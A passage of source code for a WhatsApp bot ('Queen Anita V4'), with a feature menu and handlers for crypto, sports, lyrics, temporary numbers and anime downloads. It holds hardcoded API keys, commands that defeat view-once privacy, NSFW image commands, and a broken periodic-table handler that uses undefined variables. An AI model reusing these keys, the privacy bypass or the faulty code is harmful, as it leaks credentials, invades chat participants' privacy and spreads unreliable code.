ʙᴀɴᴋ - displays a user bank balance +├❏ ᴡᴀʟʟᴇᴛ - displays a user wallet balance +├❏ ᴡɪᴛʜᴅʀᴀᴡ - withdrawals a user wallet +├❏ ᴅᴇᴘᴏsɪᴛ - deposits wallet tokens to user bank +├❏ sʜᴏᴘ - buy items +├❏ ʙᴜʏɢᴜᴀʀᴅ - buy guard pets to protect user wallet from robbery +├❏ ʟᴏᴛᴛᴇʀʏ - starts a lottery game +├❏ ʙᴜʏᴛɪᴄᴋᴇᴛ - buy ticket for the lottery +├❏ ʀᴏʟʟ-ᴅɪᴄᴇ - roll a dice +├❏ ᴅᴜᴇʟ - a fun game to win cash tokens +├❏ ʙᴜʏᴡᴇᴀᴘᴏɴ - buy weapons to eliminate a user guard pet +├❏ ᴍʏᴡᴇᴀᴘᴏɴs - displays your weapons +├❏ ᴀᴛᴛᴀᴄᴋ - attack a user with your weapons +├❏ ʙᴜʏᴘᴇᴛ - buy a cute pet +├❏ ᴍʏᴘᴇᴛ - displays a user pet +├❏ ᴛʀᴀɪɴ - trian a pet +├❏ ʙᴀᴛᴛʟᴇ - battle a user pet +├❏ ʟᴇᴠᴇʟ - displays a user level +├❏ ᴡᴀɴᴛᴇᴅ - generates a [ wanted ] picture on an image +├❏ ᴅʀᴀᴋᴇ - generates a popular drake meme +├❏ ᴄʟᴏᴡɴ - generates a [ clown ] meme picture on an image +├❏ ᴀʟᴇʀᴛ - generates an picture displaying an alert notification meme +├❏ ᴘᴇᴛɢɪғ - generates a gif of a user profile picture +├❏ ᴛᴡᴇᴇᴛ - generates a fake tweet +├❏ ᴀʟʙᴜᴍ - generates a album cover +├❏ ᴘɪɴ - pins a chat +├❏ ɢᴏᴏɢʟᴇɪᴍᴀɢᴇ - searches images on Google +├❏ ᴘʜᴏᴛᴏʟᴇᴀᴘ - generates a 3d image with a given prompt +├❏ ᴘʟᴀʏsᴛᴏʀᴇ - searchs playstore for apps +├❏ ᴛᴏɪᴍɢ - converts stickes to images +├❏ ᴘɪxᴇʟᴅʀᴀɪɴ - searchs for media on pixel drain +├❏ sᴘᴏᴛɪғʏsᴇᴀʀᴄʜ - search for music on Spotify +├❏ ɴɢʟ - sends NGL messages +├❏ ᴛᴇᴄʜɴᴇᴡs - displays latest tech news +├❏ ᴛᴛsᴇᴀʀᴄʜ - searchs for TikTok videos +├❏ ᴛʀ - translates any language +├❏ ᴛʀᴀᴄᴋɪᴘ - gets info of ip address +├❏ sᴛʏʟᴇᴛᴇxᴛ - generate a picture with a given prompt +├❏ ǫᴜᴏᴛᴇss - creates a quoted image +├❏ ǫᴜᴏᴛᴇᴅ - creates a quote image +├❏ vv - displays viewonce on a particular chat +├❏ vv2 - sends a viewonce to your private chat +├❏ ᴛʀᴀɴsʟᴀᴛᴇ - translate to any language +├❏ ʀᴇᴀᴅᴍᴏʀᴇ - generates a readmore mrssage +├❏ ᴘɪɴᴄʜᴀᴛ - pins a chat +├❏ ǫᴜʀᴀɴ - displays Quran related stuffs +├❏ ʙɪʙʟᴇ - displays bible related stuffs +├❏ ᴇᴍᴏᴊɪᴍɪx - mixes to emojis together and generate a sticker with them +├❏ ᴘᴇʀɪᴏᴅɪᴄ-ᴛᴀʙʟᴇ - get info of the periodic table +├❏ ᴜɴᴘɪɴᴄʜᴀᴛ - unpins a chat +├❏ ᴄᴀʟᴄᴜʟᴀᴛᴏʀ - calculates any equation +├❏ ғᴀᴄᴛ - displays a random fact +├❏ ʜᴅᴠɪᴅᴇᴏ - converts a video to HD format +├❏ ᴄᴏɴᴠᴇʀᴛ - converts a currency of a country to another +├❏ converttimᴇ - converts a given time of a country to another +├❏ ʟɪsᴛᴄᴜʀʀᴇɴᴄʏ - list the currencies of every country +├❏ ᴄʀᴇᴀᴛᴇᴍᴇᴍᴇ - creates memes +├❏ ᴘᴀssᴡᴏʀᴅ - generates a random password +├❏ ʀᴇᴍɪɴᴅᴍᴇ - reminds a user of a particular thing at a given time +├❏ sᴀᴠᴇ - saves WhatsApp status +├❏ ss - screenshot a website +├❏ ᴄᴏᴜᴘʟᴇᴘᴘ - generate couple pictures +├❏ ᴇɴᴄʀʏᴘᴛ - obfuscates a JavaScript code +├❏ ʟᴀɴɢᴜᴀɢᴇs - displays a all languages +├❏ sᴜᴘᴘᴏʀᴛ - david cyril support channel +├❏ ʀᴇᴘᴏsᴛ - reposts a status update from someone +├❏ ᴛɪᴋᴛᴏᴋsᴇᴀʀᴄʜ - searchs for TikTok videos +├❏ ᴍᴏᴠɪᴇ - searchs for movies +├❏ ʀᴇᴍɪɴɪ - its an ai based tool used for enhancing and restoring photos and videos, particularly improving the quality of old, blurry, or low-resolution images. +├❏ ᴋᴅʀᴀᴍᴀ - searchs and gives information of any kdrama movie +├❏ channel - David Cyril support channel +├❏ ғʟɪᴘᴛᴇxᴛ - flips a text message upside down +├❏ ᴡᴇᴀᴛʜᴇʀ - displays weather information of a location +├❏ ᴍᴏᴅᴀᴘᴋ- searchs for mod applications +├❏ ᴛɪɴʏᴜʀʟ - shortens a link +├❏ sᴏᴜɴᴅ1-sᴏᴜɴᴅ161 - displays a random TikTok sound +├❏ animecharacter - displays a random anime characters +├❏ ᴡᴀɪғᴜ - displays a random waifu image +├❏ ǫᴜᴏᴛᴇsᴀɴɪᴍᴇ - displays a quoted anime image +├❏ ᴀᴋɪʀᴀ - displays an anime character +├❏ ᴀᴋɪʏᴀᴍᴀ - displays an anime character +├❏ animesearch - displays an anime character +├❏ anime ᴠɪᴅᴇᴏ - displays an anime character +├❏ ᴀʀᴛ - displays an anime character +├❏ ᴀsᴜɴᴀ - displays an anime character +├❏ ᴀʏᴜᴢᴀᴡᴀ - displays an anime character +├❏ ʙᴏʀᴜᴛᴏ - displays an anime character +├❏ ʙᴛs - displays an anime character +├❏ ᴄʜɪʜᴏ - displays an anime character +├❏ ᴄᴏsᴘʟᴀʏ - displays an anime character +├❏ ᴄᴏsᴘʟᴀʏʟᴏʟɪ - displays an anime character +├❏ ᴄʏʙᴇʀ - displays an anime character +├❏ ᴅᴇɪᴅᴇʀᴀ - displays an anime character +├❏ ᴅᴏʀᴀᴇᴍᴏɴǫ - displays an anime character +├❏ ᴇʟɪᴀɴᴀ - displays an anime character +├❏ ᴇᴢʀᴀ - displays an anime character +├❏ ᴇᴍɪʟɪᴀ - displays an anime character +├❏ ᴇxᴏ - - displays an anime character +├❏ ɢᴀᴍᴇᴡᴀʟʟᴘᴀᴘᴇʀ - displays an anime character +├❏ ɢʀᴇᴍᴏɴʏ - displays an anime character +├❏ ʜᴀᴄᴋᴇʀ - displays an anime character +├❏ ʜᴇsᴛɪᴀ - displays an anime character +├❏ ʜɪɴᴀᴛᴀ - displays an anime character +├❏ ʜᴜsʙᴜ - displays an anime character +├❏ ɪɴᴏʀɪ - displays an anime character +├❏ ɪsᴜᴢᴜ - displays an anime character +├❏ ɪsʟᴀᴍɪᴄ - displays an anime character +├❏ ɪᴛᴏʀɪ - displays an anime character +├❏ ᴊᴇɴɴɪᴇ - displays an anime character +├❏ ɪᴛᴀᴄʜɪ - displays an anime character +├❏ ᴊɪsᴏ - displays an anime character +├❏ ᴊᴜsᴛɪɴᴀ - displays an anime character +├❏ ᴋᴀɢᴀ - displays an anime character +├❏ ᴋᴀɢᴜʀᴀ - displays an anime character +├❏ ᴋᴀᴋᴀsɪʜ - displays an anime character +├❏ ᴄᴀʀᴛᴏᴏɴ - displays an anime character +├❏ ᴋᴀᴏsʜɪ - displays an anime character +├❏ sʜᴏʀᴛǫᴜᴏᴛᴇ - displays an anime character +├❏ ᴋᴇɴᴇᴋɪ - displays an anime character +├❏ ᴋᴏᴛᴏʀɪ - displays an anime character +├❏ ᴋᴜʀᴜᴍɪ - displays an anime character +├❏ ʟɪsᴀ - displays an anime character +├❏ ᴍᴀᴅᴀʀᴀ - displays an anime character +├❏ ᴍᴇɢᴜᴍɪɴ - displays an anime character +├❏ ᴍɪᴄᴋʏ - displays an anime character +├❏ ᴍɪᴋᴀsᴀ - displays an anime character +├❏ ᴍɪᴋᴜ - displays an anime character +├❏ ɴᴀʀᴜᴛᴏ - displays an anime character +├❏ ᴍᴇɴᴀᴛᴏ - displays an anime character +├❏ ᴍᴏᴜɴᴛᴀɪɴ - displays an anime character +├❏ ɴᴇᴋᴏ - displays an anime character +├❏ ɴᴇᴋᴏᴍɪɴᴇ - displays an anime character +├❏ ɴᴇᴢᴜᴋᴏ - displays an anime character +├❏ ᴏɴᴇᴘᴇɪᴄᴇ - displays an anime character +├❏ ᴘᴏᴋᴇᴍᴏɴ - displays an anime character +├❏ ᴘʀᴏɢʀᴀᴍᴍɪɴɢ - displays an anime character +├❏ ᴘᴇɴᴛᴏʟ - displays an anime character +├❏ ʀᴀɴᴅᴏᴍɴɪᴍᴇ - displays an anime character +├❏ ʀᴀɴᴅᴏᴍɴɪᴍᴇ2 - displays an anime character +├❏ ʀɪᴢᴇ - displays an anime character +├❏ ʀᴏsᴇ - displays an anime character +├❏ sᴀɢɪʀɪ - displays an anime character +├❏ sᴀᴋᴜʀᴀ - displays an anime character +├❏ sᴀᴛᴀɴɪᴄ - displays an anime character +├❏ sasukᴇ - displays an anime character +├❏ sʜɪɴᴀɴ - displays an anime character +├❏ sʜɪɴᴋᴀ - displays an anime character +├❏ sʜᴏᴛᴀ - displays an anime character +├❏ sᴘᴀᴄᴇ - displays an anime character +├❏ ᴛᴇᴄʜɴᴏʟᴏɢʏ - displays an anime character +├❏ ᴛᴇᴊɪɴᴀ - displays an anime character +├❏ ᴛᴏᴜᴋᴀᴄʜᴀɴ - displays an anime character +├❏ ᴛsᴜɴᴀᴅᴇ - displays an anime character +├❏ ʏᴏᴛsᴜʙᴀ - displays an anime character +├❏ ʏᴜᴋɪ - displays an anime character +├❏ ʏᴜᴍᴇᴋᴏ - displays an anime character +├❏ ʏᴜʟɪʙᴏᴄɪʟ - displays an anime character +├❏ ɢᴇɴsʜɪɴ - displays an NSFW image 🔞 +├❏ sᴡɪᴍsᴜɪᴛ - displays an NSFW image 🔞 +├❏ sᴄʜᴏᴏʟsᴡɪᴍsᴜɪᴛ - displays an NSFW image 🔞 +├❏ ᴡʜɪᴛᴇ - displays an NSFW image 🔞 +├❏ ʙᴀʀᴇғᴏᴏᴛ - displays an NSFW image 🔞 +├❏ ᴛᴏᴜʜᴏᴜ - displays an NSFW image 🔞 +├❏ ɢᴀᴍᴇᴄɢ - displays an NSFW image 🔞 +├❏ ʜᴏʟᴏʟɪᴠᴇ - displays an NSFW image 🔞 +├❏ ᴜɴᴄᴇɴsᴏʀᴇᴅ - displays an NSFW image 🔞 +├❏ sᴜɴɢɢʟᴀssᴇs - displays an NSFW image 🔞 +├❏ ɢʟᴀssᴇs - displays an NSFW image 🔞 +├❏ ᴡᴇᴀᴘᴏɴ - displays an NSFW image 🔞 +├❏ sʜɪʀᴛʟɪғᴛ - displays an NSFW image 🔞 +├❏ ᴄʜᴀɪɴ - displays an NSFW image 🔞 +├❏ ғɪɴɢᴇʀɪɴɢ - displays an NSFW image 🔞 +├❏ ғʟᴀᴛᴄʜᴇsᴛ - displays an NSFW image 🔞 +├❏ ᴛᴏʀɴᴄʟᴏᴛʜ - displays an NSFW image 🔞 +├❏ ʙᴏɴᴅᴀɢᴇ - displays an NSFW image 🔞 +├❏ ᴅᴇᴍᴏɴ - displays an NSFW image 🔞 +├❏ ᴘᴀɴᴛʏᴘᴜʟʟ - displays an NSFW image 🔞 +├❏ ʜᴇᴀᴅᴘʜᴏɴᴇ - displays an NSFW image 🔞 +├❏ ʜᴇᴀᴅᴅʀᴇss - displays an NSFW image 🔞 +├❏ ᴀɴᴜsᴠɪᴇᴡ - displays an NSFW image 🔞 +├❏ sʜᴏʀᴛs - displays an NSFW image 🔞 +├❏ sᴛᴏᴋɪɴɢs - displays an NSFW image 🔞 +├❏ ᴛᴏᴘʟᴇss - displays an NSFW image 🔞 +├❏ ʙᴇᴀᴄʜ - displays an NSFW image 🔞 +├❏ ʙᴜɴɴʏɢɪʀʟ - displays an NSFW image 🔞 +├❏ ʙᴜɴɴʏᴇᴀʀ - displays an NSFW image 🔞 +├❏ ᴠᴀᴍᴘɪʀᴇ - displays an NSFW image 🔞 +├❏ ʙɪᴋɪɴɪ - displays an NSFW image 🔞 +├❏ ɴᴏʙʀᴀ - displays an NSFW image 🔞 +├❏ ᴡʜɪᴛᴇʜᴀɪʀ - displays an NSFW image 🔞 +├❏ ʙʟᴏɴᴅᴇ - displays an NSFW image 🔞 +├❏ ᴘɪɴᴋʜᴀɪʀ - displays an NSFW image 🔞 +├❏ ʙᴇᴅ - displays an NSFW image 🔞 +├❏ ᴘᴏɴʏᴛᴀɪʟ - displays an NSFW image 🔞 +├❏ ɴᴜᴅᴇ - displays an NSFW image 🔞 +├❏ ᴅʀᴇss - displays an NSFW image 🔞 +├❏ ᴜɴᴅᴇʀᴡᴇᴀʀ - displays an NSFW image 🔞 +├❏ ᴜɴɪғᴏʀᴍ - displays an NSFW image 🔞 +├❏ ғᴏxɢɪʀʟ - displays an NSFW image 🔞 +├❏ sᴋɪʀᴛ - displays an NSFW image 🔞 +├❏ ʙʀᴇᴀsᴛ - displays an NSFW image 🔞 +├❏ ᴛᴡɪɴᴛᴀɪʟ - displays an NSFW image 🔞 +├❏ sᴘʀᴇᴀᴅᴘᴜssʏ - displays an NSFW image 🔞 +├❏ sᴇᴇᴛʜʀᴏᴜɢʜ - displays an NSFW image 🔞 +├❏ ʙʀᴇᴀsᴛʜᴏʟᴅ - displays an NSFW image 🔞 +├❏ ғᴀᴛᴇsᴇʀɪᴇs - displays an NSFW image 🔞 +├❏ sᴘʀᴇᴀᴅʟᴇɢs - displays an NSFW image 🔞 +├❏ ᴏᴘᴇɴsʜɪʀᴛ - displays an NSFW image 🔞 +├❏ ʜᴇᴀᴅʙᴀɴᴅ - displays an NSFW image 🔞 +├❏ ɴɪᴘᴘʟᴇs - displays an NSFW image 🔞 +├❏ ᴇʀᴇᴄᴛɴɪᴘᴘʟᴇs - displays an NSFW image 🔞 +├❏ ɢʀᴇᴇɴʜᴀɪʀ - displays an NSFW image 🔞 +├❏ ᴡᴏʟғɢɪʀʟ - displays an NSFW image 🔞 +├❏ ᴋɪʟʟ - generates a kill sticker +├❏ ᴘᴀᴛ - generates a pat sticker +├❏ ʟɪᴄᴋ - generates a lick sticker +├❏ ʙɪᴛᴇ - generates a bite sticker +├❏ ʏᴇᴇᴛ - generates a yeet sticker +├❏ ʙᴏɴᴋ - generates a bonk sticker +├❏ ᴡɪɴᴋ - generates a wink sticker +├❏ ᴘᴏᴋᴇ - generates a bite sticker +├❏ ɴᴏᴍ - generates a nom sticker +├❏ sʟᴀᴘ - - generates a slap sticker +├❏ sᴍɪʟᴇ - generates a smile sticker +├❏ ᴡᴀᴠᴇ - generates a wave sticker +├❏ ʙʟᴜsʜ - generates a blush sticker +├❏ sᴍᴜɢ - generates a smug sticker +├❏ ɢʟᴏᴍᴘ - generates a bite sticker +├❏ ʜᴀᴘᴘʏ - generates a happy sticker +├❏ ᴅᴀɴᴄᴇ - generates a happy sticker +├❏ ᴄʀɪɴɢᴇ - generates a cringe sticker +├❏ ʜɪɢʜғɪᴠᴇ - generates a high-five sticker +├❏ ᴄʟᴀɴ - +├❏ ᴡᴇʀᴇᴡᴏʟғ - starts a werewolf game +├❏ ᴡᴀʀ - starts a werewolf game +├❏ ᴍsᴘ - starts a Minecraft game +├❏ ᴜɴᴏ - starts a uni game +├❏ ʙʟᴀᴄᴋᴊᴀᴄᴋ - starts a blackjack game +├❏ ᴡᴄɢ - starts a word chain game +├❏ sᴇʀᴠᴇʀ - displays information about user server +├❏ ᴅɪsᴋ - displays information about user disk +├❏ ʟᴏᴏᴋᴜᴘ - displays information about user +└ ❏ + *〤 ${global.anitav4} 〻*`) + break + + + +case 'pickupline': { +await David.sendMessage(m?.chat, {react: {text: `💝`,key: m?.key,}}) +try { + let res = await fetch(`https://api.popcat.xyz/pickuplines`) + if (!res.ok) { + throw new Error(`API request failed with status ${res.status}`) + } + let json = await res.json() + let pickupLine = `*Here's a pickup line for you:*\n\n${json.pickupline}` + let msgs = generateWAMessageFromContent(m.chat, { + viewOnceMessage: { + message: { + "messageContextInfo": { + "deviceListMetadata": {}, + "deviceListMetadataVersion": 2 + }, + interactiveMessage: proto.Message.InteractiveMessage.create({ + body: proto.Message.InteractiveMessage.Body.create({ + text: pickupLine + }), + footer: proto.Message.InteractiveMessage.Footer.create({ + text: '\n©David-Cyril' + }), + header: proto.Message.InteractiveMessage.Header.create({ + hasMediaAttachment: true, + ...await prepareWAMessageMedia({ image: fs.readFileSync('./anitav3.jpg')}, { upload: David.waUploadToServer }) + }), + nativeFlowMessage: proto.Message.InteractiveMessage.NativeFlowMessage.create({ + buttons: [{ + "name": "quick_reply", + "buttonParamsJson": `{\"display_text\":\"😁\",\"id\":\""}` + }], + }), + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '', + newsletterName: ' • QUEEN_ANITA-V3 •', + serverMessageId: 143 + } + } + }) + } + } +}, { quoted: m }) +return await David.relayMessage(m.chat, msgs.message, {}) + } catch (error) { + console.error(error) + // Handle the error appropriately + } + } + break + + case 'stats': { + const chats = await David.chats.all(); + const groups = chats.filter(chat => chat.isGroup).length; + const users = chats.length - groups; + + const message = ` +*Bot Stats* +- Groups: ${groups} +- Private Chats: ${users} +- Total Chats: ${chats.length} +`; + + reply(message); + break; +} + + +case 'crypto': { + const menu = `*🪙 Crypto Menu:*\n +1️⃣ .crypto-price - Get the current price of a cryptocurrency. +2️⃣ .crypto-convert - Convert crypto to fiat. +3️⃣ .topcrypto - Show top gainers and losers. +4️⃣ .cryptonews - Get the latest cryptocurrency news. +5️⃣ .cryptoindex - Display the Fear and Greed Index. +6️⃣ .portfolio - Manage your crypto portfolio.\n +Use these commands to explore the crypto world!`; + reply(menu); + break; +} + +// 1️⃣ Get Current Price +case 'crypto-price': { + if (!text) return reply('Please provide a cryptocurrency name or symbol. Example: .price bitcoin'); + try { + const response = await fetch(`https://api.coingecko.com/api/v3/simple/price?ids=${encodeURIComponent(text)}&vs_currencies=usd`); + const result = await response.json(); + + if (result[text]) { + reply(`💰 Current Price of ${text.toUpperCase()}: $${result[text].usd}`); + } else { + reply('❌ Cryptocurrency not found. Please try again.'); + } + } catch (error) { + console.error(error); + reply('❌ An error occurred while fetching the price. Please try again later.'); + } + break; +} + +// 2️⃣ Convert Cryptocurrency to Fiat +case 'crypto-convert': { + const args = text.split(' '); + if (args.length !== 3) return reply('Usage: .convert . Example: .convert btc 1 usd'); + + const [coin, amount, currency] = args; + try { + const response = await fetch(`https://api.coingecko.com/api/v3/simple/price?ids=${encodeURIComponent(coin)}&vs_currencies=${encodeURIComponent(currency)}`); + const result = await response.json(); + + if (result[coin] && result[coin][currency]) { + const converted = (result[coin][currency] * parseFloat(amount)).toFixed(2); + reply(`💱 ${amount} ${coin.toUpperCase()} = ${converted} ${currency.toUpperCase()}`); + } else { + reply('❌ Conversion failed. Please check the inputs.'); + } + } catch (error) { + console.error(error); + reply('❌ An error occurred while converting. Please try again later.'); + } + break; +} + +// 3️⃣ Show Top Gainers and Losers +case 'topcrypto': { + try { + const response = await fetch('https://api.coingecko.com/api/v3/coins/markets?vs_currency=usd&order=market_cap_desc&per_page=10&page=1&sparkline=false'); + const result = await response.json(); + + let topGainers = `*📈 Top Gainers:*\n`; + let topLosers = `*📉 Top Losers:*\n`; + + for (const coin of result) { + if (coin.price_change_percentage_24h > 0) { + topGainers += `🔹 ${coin.name} (${coin.symbol.toUpperCase()}): +${coin.price_change_percentage_24h.toFixed(2)}%\n`; + } else { + topLosers += `🔹 ${coin.name} (${coin.symbol.toUpperCase()}): ${coin.price_change_percentage_24h.toFixed(2)}%\n`; + } + } + + reply(`${topGainers}\n\n${topLosers}`); + } catch (error) { + console.error(error); + reply('❌ An error occurred while fetching market trends. Please try again later.'); + } + break; +} + +// 4️⃣ Get Latest Crypto News +case 'cryptonews': { + try { + const response = await fetch('https://cryptonews-api.com/api/v1?tickers=BTC,ETH&items=5&token=pub_6165012dcdfb7690a1e33a9e58ee1c879790f'); + const result = await response.json(); + + if (result.news && result.news.length > 0) { + let newsList = `*📰 Latest Crypto News:*\n\n`; + for (const news of result.news) { + newsList += `🔸 *${news.title}*\n🌐 [Read More](${news.news_url})\n\n`; + } + reply(newsList.trim()); + } else { + reply('❌ No news found at the moment.'); + } + } catch (error) { + console.error(error); + reply('❌ An error occurred while fetching news. Please try again later.'); + } + break; +} + +// 5️⃣ Crypto Fear and Greed Index +case 'cryptoindex': { + try { + const response = await fetch('https://api.alternative.me/fng/'); + const result = await response.json(); + + if (result.data && result.data[0]) { + const index = result.data[0]; + reply(`*📊 Fear and Greed Index:*\n\n💡 *Current Value*: ${index.value} (${index.value_classification})\n📅 *Date*: ${index.timestamp}`); + } else { + reply('❌ Failed to fetch the Fear and Greed Index.'); + } + } catch (error) { + console.error(error); + reply('❌ An error occurred while fetching the Fear and Greed Index. Please try again later.'); + } + break; +} + +case 'sports': { + const menu = `*⚽ Sports Menu:*\n +1️⃣ .livescores - Get live scores of ongoing matches. +2️⃣ .fixtures - View upcoming matches for a specific league. +3️⃣ .standings - Check the league standings. +4️⃣ .sportsnews - Get the latest sports news.\n +Use these commands to stay updated with sports events!`; + reply(menu); + break; +} +case 'livescore': case 'livescores': { + if (!await isPremiumUser(m.sender)) { + return reply('❌ *This Command Is for Premium Users Only\nType .buypremuim To Become A Premium User*.'); + } + + try { + const apiUrl = 'https://livescore6.p.rapidapi.com/matches/v2/list-live?Category=soccer'; + const apiKey = 'a5bf8cd433msh33c0811108517b2p1b77a6jsn4cd75f147bf8'; // Your API Key + + // Fetch live scores + const response = await fetch(apiUrl, { + method: 'GET', + headers: { + 'X-RapidAPI-Key': apiKey, + 'X-RapidAPI-Host': 'livescore6.p.rapidapi.com', + }, + }); + const data = await response.json(); + + // Check if there are live matches + if (!data || !data.Stages || data.Stages.length === 0) { + reply("No live matches currently."); + return; + } + + // Format the live scores + let liveScores = "*Live Soccer Scores:*\n\n"; + data.Stages.forEach((stage) => { + stage.Events.forEach((event) => { + const home = event.T1[0]?.Nm || "Team 1"; + const away = event.T2[0]?.Nm || "Team 2"; + const score = `${event.Tr1 || 0} - ${event.Tr2 || 0}`; + liveScores += `🏟️ ${home} vs ${away}\nScore: ${score}\n\n`; + }); + }); + + // Send the image with the live scores as a caption + await David.sendMessage(m.chat, { + image: { url: 'https://files.catbox.moe/xm02jo.jpg' }, + caption: liveScores.trim(), + }, { quoted: m }); + } catch (error) { + console.error("Error fetching live scores:", error); + reply("An error occurred while fetching live scores."); + } + break; +} + + +case 'fixtures': { + if (!text) return reply('Please provide a league name. Example: .fixtures premier league'); + try { + const response = await fetch(`https://api.sportradar.us/soccer/trial/v4/en/schedules/2024-12-08/schedule.json?api_key=YOUR_API_KEY`); + const result = await response.json(); + + if (result && result.schedules && result.schedules.length > 0) { + let fixtures = `*📅 Upcoming Fixtures:*\n\n`; + for (const match of result.schedules) { + const { sport_event } = match; + const home = sport_event.competitors[0].name; + const away = sport_event.competitors[1].name; + const date = new Date(sport_event.start_time).toLocaleString(); + fixtures += `🏟️ ${sport_event.sport_event_context.competition.name}\n🔹 ${home} vs ${away}\n📅 ${date}\n\n`; + } + reply(fixtures.trim()); + } else { + reply('❌ No upcoming matches found for this league.'); + } + } catch (error) { + console.error(error); + reply('❌ An error occurred while fetching fixtures. Please try again later.'); + } + break; +} + +// 3️⃣ Get League Standings +case 'standings': { + if (!text) return reply('Please provide a league name. Example: .standings premier league'); + try { + const response = await fetch(`https://api.api-football.com/v3/standings?league=${encodeURIComponent(text)}`, { + headers: { 'x-rapidapi-key': 'YOUR_API_KEY' }, + }); + const result = await response.json(); + + if (result.response && result.response[0]) { + const standings = result.response[0].league.standings[0]; + let table = `*📊 ${result.response[0].league.name} Standings:*\n\n`; + for (const team of standings) { + table += `🔹 ${team.rank}. ${team.team.name} - ${team.points} pts\n`; + } + reply(table.trim()); + } else { + reply('❌ No standings found for this league.'); + } + } catch (error) { + console.error(error); + reply('❌ An error occurred while fetching league standings. Please try again later.'); + } + break; +} + +// 4️⃣ Get Latest Sports News +case 'sportsnews': { + try { + const response = await fetch('https://newsapi.org/v2/top-headlines?category=sports&apiKey=YOUR_NEWSAPI_KEY'); + const result = await response.json(); + + if (result.articles && result.articles.length > 0) { + let news = `*📰 Latest Sports News:*\n\n`; + for (const article of result.articles.slice(0, 5)) { + news += `🔸 *${article.title}*\n🌐 [Read More](${article.url})\n\n`; + } + reply(news.trim()); + } else { + reply('❌ No sports news found at the moment.'); + } + } catch (error) { + console.error(error); + reply('❌ An error occurred while fetching sports news. Please try again later.'); + } + break; +} + + + + +case 'lyrics': { + if (!text) return reply(`*Example:* ${prefix + command} faded | Alan Walker`); + + try { +const [title, artist] = text.split('|').map(str => str.trim()); + if (!title || !artist) return reply(`*Please provide both song title and artist, e.g.:* ${prefix + command} faded | Alan Walker`); + + await David.sendMessage(m.chat, { react: { text: `🎶`, key: m.key } }); +await reply(`Searching For Lyrics`) + const apiUrl = `https://apis.davidcyriltech.my.id/lyrics?t=${encodeURIComponent(title)}&a=${encodeURIComponent(artist)}`; + const response = await axios.get(apiUrl); + + if (response.data && response.data.lyrics) { + const { title, artist, lyrics } = response.data; + + const lyricsMessage = `🎵 *QUEEN ANITA V4 LYRICS*\n\n` + + `*🎶 Title:* ${title}\n` + + `*🎤 Artist:* ${artist}\n\n` + + `${lyrics}\n\n` + + `> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ`; + + + m.reply(lyricsMessage); + } else { + reply(`*No lyrics found for:* ${title} by ${artist}`); + } + } catch (error) { + console.error('Error fetching lyrics:', error); + reply(`*Failed to fetch lyrics. Possible reasons:*\n1. Invalid title or artist.\n2. API issues.\n\n*Error Details:* ${error.message}`); + } + break; +} + +case 'tempnumber': { + await David.sendMessage(m?.chat, {react: {text: `📞`,key: m?.key,}}) + + + try { + let { data } = await axios.get('https://reaperxxxx-dhdhd.hf.space/'); + if (!data.numbers || data.numbers.length === 0) return reply("❌ No temporary numbers available."); + + let randomNumber = data.numbers[Math.floor(Math.random() * data.numbers.length)]; + + let caption = `📞 *Temporary Number Found!*\n\n📱 *Number:* ${randomNumber}\n\n*To check the inbox, use:* +_${prefix}numberinbox ${randomNumber}_`; + + let imageOptions = { + image: { url: 'https://files.catbox.moe/kuvjof.jpg' }, + caption: caption + }; + + await David.sendMessage(from, imageOptions, { quoted: m }); + + } catch (error) { + console.error(error); + reply("❌ Failed to fetch a temporary number. Try again later."); + } + break; +} + +case 'numberinbox': { +await David.sendMessage(m?.chat, {react: {text: `🔍`,key: m?.key,}}) + + if (!text) return reply("❓ Usage: .numberinbox \nExample: .numberinbox 18044136719"); + + let number = text.trim(); + reply(`📬 Checking inbox for ${number}...`); + + try { + let { data } = await axios.get(`https://reaperxxxx-dhdhd.hf.space/sms?no=${number}`); + if (!data.messages || data.messages.length === 0) return reply(`📭 Inbox for ${number} is empty or unavailable.`); + + let messages = data.messages.map((msg, index) => + `📩 *${index + 1}*\n📨 *From:* ${msg.sender}\n🕒 *Time:* ${msg.timestamp}\n📜 *Message:* ${msg.message}` + ).join("\n\n"); + + let caption = `📬 *Inbox for ${number}:*\n\n${messages}`; + + let videoOptions = { + video: { url: 'https://files.catbox.moe/c5lo6d.mp4' }, + caption: caption, + mimetype: 'video/mp4' + }; + + await David.sendMessage(from, videoOptions, { quoted: m }); + + } catch (error) { + console.error(error); + reply("❌ Failed to fetch inbox. Check the number and try again."); + } + break; +} + +case 'animedl': { + if (!text) return reply("❓ Usage: .anime \nExample: .anime one piece 16"); + + let [name, episode] = text.split(' '); + if (!name || !episode) return reply("❓ Usage: .anime \nExample: .anime one piece 16"); + + reply("🔍 Searching for the episode..."); + + try { + let apiUrl = `https://api-x-demon-dev.hf.space/api/animedl?name=${encodeURIComponent(name)}&episode=${encodeURIComponent(episode)}`; + let { data } = await axios.get(apiUrl); + + if (!data.success || !data.downloadLinks || data.downloadLinks.length === 0) { + return reply("❌ No download links found for this anime episode."); + } + + // Find the first available MP4 link + let mp4Link = data.downloadLinks.find(url => url.endsWith('.mp4')); + if (!mp4Link) { + return reply("❌ No MP4 format found. Try another episode."); + } + + let filename = `${name.replace(/\s+/g, '_')}_Episode_${episode}.mp4`; + let filePath = `./temp/${filename}`; + + // Download the video + reply("📥 Downloading the episode, please wait..."); + let response = await axios({ url: mp4Link, responseType: 'stream' }); + let writer = fs.createWriteStream(filePath); + response.data.pipe(writer); + + await new Promise((resolve, reject) => { + writer.on('finish', resolve); + writer.on('error', reject); + }); + + // Send the file as an MP4 document + await David.sendMessage(from, { document: fs.readFileSync(filePath), mimetype: 'video/mp4', fileName: filename }, { quoted: m }); + + // Delete the temporary file after sending + fs.unlinkSync(filePath); + } catch (error) { + console.error(error); + reply("❌ Failed to fetch or download the episode. Try again later."); + } + break; +} + + + + + + + +case 'periodic-table': { +if (!args[0]) return reply("Give me a chemical element!") +await David.sendMessage(m?.chat, {react: {text: `⏳`,key: m?.key,}}) +reply('`Searching...`') +let e = await fetchJson(`https://api.popcat.xyz/periodic-table?element=${args[0]}`) +let david = `${e.name}`; +let anita= `${e.phase}`; +let ass = `${e.symbol}`; +let Jenifer = `${e.atomic_number}`; +let babe = `${e.summary}`; + + const pts = `*Name:* ${el}\n *Symbol:* ${es}\n *Phase:* ${eq}\n *Atomic_Number*${ek}\n *Summary* ${ep}`; + +    await David.sendMessage(m.chat, { + image: { url: e.image }, + caption: 